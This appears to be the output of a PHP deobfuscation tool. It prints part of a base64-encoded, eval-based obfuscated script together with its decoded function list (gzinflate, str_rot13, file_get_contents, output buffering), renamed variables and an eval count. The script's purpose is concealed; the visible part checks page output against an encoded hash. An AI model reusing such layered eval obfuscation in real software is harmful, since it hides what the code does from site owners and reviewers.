RSGhDcHlPL2d5Y3lXT2wzK1J4YkNXYlZsb1htekxpV3YvK01YUWxudmhKbGI1ek5qcitvRHlPNUJCekJhOHZhZFN
tbG5LVVJrNkpkNFNtK0x5TzVaNjBjMGJCTXVIbUI1MGZvdXVDVXdoeHdMZnY1NnVqOTZLRXMvOXlIS0NaeTBwNEp
zTXJMZmhPUGFMYVdpZWhXSmdzb2xpL0ZLblF3cmdiTDh6bUFwclE0OVFlTElwcytFcml4czhxeVRobmhzZWlRMlp
RK3NlTnVCaGY0TGVIeEgzVUJ2Q243QzJIeEhhY0gyMnNiNEl5N1dNMUZYRjE3VHU1S2RjR1RTUm9wZHZEZExUV0l
lS1Boak13WEUxVHo2NDBCc2NBUkkvUjBmN0tMQ2s1R04wSWJFQ1pmemRyd2s3cmF1bEJVc2ZpT0JadVFuMmJaeVB
4TFpGVzIxOGJDOHFBb1FmN1oycEwzdGpUQmhIV24vWjh3TzRuakdFTE0yTzV2ZCs3b2dLa2JObzNmSHhQQW9tWGR
vdkV4c2pBWEpzemNmeGU2R3VlZmcyRFh3QzUwOEVldVMrK25UK1g2ME5RNFJwZWVrRVRqcDl1RkJjV3Eza2ZHUEc
1dDE5U0VkQm8xbDUyNFJ6QmFwQjUyK2ltRzgrUXRVQ3RmalZmRUlNb3I1cW9QaVpDYXJJMXJrV0tBeGJqNmdBN0R
iNnBHWFc3MVNoalJIZXFTWHRReVpDVy9aQTdJczAydmJDMFRUZ1pBN1lwdC8yOHA3aHRQTUllRElGUmZobklNTVd
YeGNHVjJaYmV3d1VEbkQ5MU1zYUUzQ3R2ZktRVFNzYy9iTUFyVWQybE91dW8vbzE5bCsvc3NUcXAxTzk2MUF6b2J
KcHdtclU4Ky9DaWllb2Y1cTdaR1l5VHRCOXNDbzYrNXNDSzcvODZpemVvOWxOQ2RheVRoQTkvclk1ODJxc2kzNzl
3Mzg5ci9VOTYyelBwMkJ2dHJvazFLODhyLzU2dHVtQTIrYnJWaWhZMUVhakdBK3FMc3Z6LzNrbC9UNVF1NUJyVFN
JTG9JMUdVQXJTdzh0WHk0TUtrdGRYcEgzdmFIcjZmbzJLbkY2RzRzRGZYMmczbzFMdHUyeU1qelhYUGZPd1JjRGl
MQjZGeU5lSTNYZFhwRW5yWG5rTzJnRlNjY2xRc0puSGNYbDJ1SkxKVlVIRUxFWkxXQU5nZ0VsLy8raG1GM3E1elV
tTG8zTDR0TFhHMWZIOWlIOWkzVjlPTjhWYitVcFc4amJJeTczNlN0c2FPbHN1UHFTNVZ4QkFoL3FjUVU5MGU3ZlZ
4SmFlNFBBZ2o0SWNidklnVjhMUWkwOWlTRDlUTjhlQzcrUUx6bTM4N1R5Z0crZnBaaG16cHJ4d2szMWp6aG5nUmN
adkVOc0ttb01XamhVOUdTa2tNOG1LOFdoRVJneW5OUEdSU3hLZ2U2QXE5b1QyQlRQbTZZMFo4VXM3a0laRng3bU8
wTWtZY2JQZlAwN2RkME1BUEVTT3I4U1lLRWsyNjNBM0RucnY0NHhoU2FrZXUxd0NnenlRL0dXbklvN0NTSDFFWVh
JVDNUZ2lESHdMQmQ1dEtFTUdzc2l2NjMvQksvMTl4YkVNd3g3L3NONU5GU0ZFRnd5U2RaWVJYdmZkVmR3ZTN4RFh
Kd3NYTDI0M0dtcHpSZkxGT2NobWpYYmZnVmZSRGJ3STJPZERhZ2I0bzlrR2M0ZnJkN3JVcmk1c3kyT0h0aVM4ckV
XdmlOUkFTK2crRUIxNkgzTlVKekpja2NVNm5Na2FtUWRiRGNSa2htaWdDeTZrNFFEbEEyUG83NS83eWxNVmI3dzd
YM0l1T01oM2ZKbmNPcjQraWNveDZPeU1SOFZKSStNZnFPcDEvb25hVHFqOFNPRGt0d2N3SzJwdFc1cVVWZ29nRkc
3Sm8wT1h1cFlUQjVaUnd4OSt6cG5vbS80OStrUSs5c2sva2haNEQwRjFCcHhNaFhhT0tRd0VuelRtdFJXK2RtRTB
tNVJFWEVObDVwd0FvMmNVVU1ydEJCWGlIRE84cmNDZnJncmRHM0laNDk5ZWhjcGFtditNcTVrcFlHN1Q0czQ5dW5
aY0dQNTZwclR4eTZHSmxWMkV1Y1J5UjhuNXdUMG81U1QzNTFtTWc2VklISWhNaHBmcVRoc0FvSDJsb3E2WUJkQ1o
ycjMzYmk0NCsraEcvazg9IikpKSk7fSRkNzFmNjM5OGM1NGEyMjQxNDQzZDBhMWJkOTAxNzdhMigkbmVmODliODF
mNDNlNmM2YjY2NzAwMjg1ZWI4Y2FiMzMoKSwiXHgzOVw2NVx4NjRcNjZceDYxXDYwXHgzM1w2NVx4MzBcNjJceDM
4XDY0XHg2MlwxNDVceDM5XDYwXHgzN1w3MFx4NjNcNjVceDM5XDYzXHgzMVw2MVx4MzJcMTQzXHgzNlw2Mlx4MzB
cMTQxXHgzOFw2MSIpPyRxMDA4MTYzNGE3MTdkMWJjYWEwOGU3ZGUwYjI3MzY1OSgpOiR3MDY4NjExZGU4OGE1MjQ
5NGM5YmIwNjhlNTUwMTlmZSgpOw=="));
?>

Function Calls

md5 1
strpos 1
strtok 1
ob_start 1
gzinflate 1
str_rot13 1
str_replace 1
ereg_replace 1
base64_decode 2
ob_get_contents 1
file_get_contents 1

Variables

$x058e019b5b2 base64_decode
$ab809843b1c4c539fa5404fd4a9f84d7 ereg_replace
$af1fb156df52ac89f0555a42c57f5730 gzinflate
$ca7596210117b52bef7ec71d12bd9934 str_rot13
$d71f6398c54a2241443d0a1bd90177a2 strpos
$fbcbebaa4fdf45ec1cdd166e7f9b6880 ob_start
$kd65e20207fb7a53b9d7c785ca76b12b str_replace
$l4e91491fd4fff51f4094324d7828c77 file_get_contents
$l882915f799524d4deb278863b82c3ae base64_decode
$m1e71a3b2e2af12a40f99eb9e9b65857 md5
$m228c8c379cf3eea0dd9f61d3b220fd6 strtok
$nef89b81f43e6c6b66700285eb8cab33 ob_get_contents
$q0081634a717d1bcaa08e7de0b273659 ob_end_clean
$w068611de88a52494c9bb068e55019fe ob_end_flush

Stats

MD5 d01e3c7000c1ff3f7f9f2c70c77fd021
Eval Count 2
Decode Time 317 ms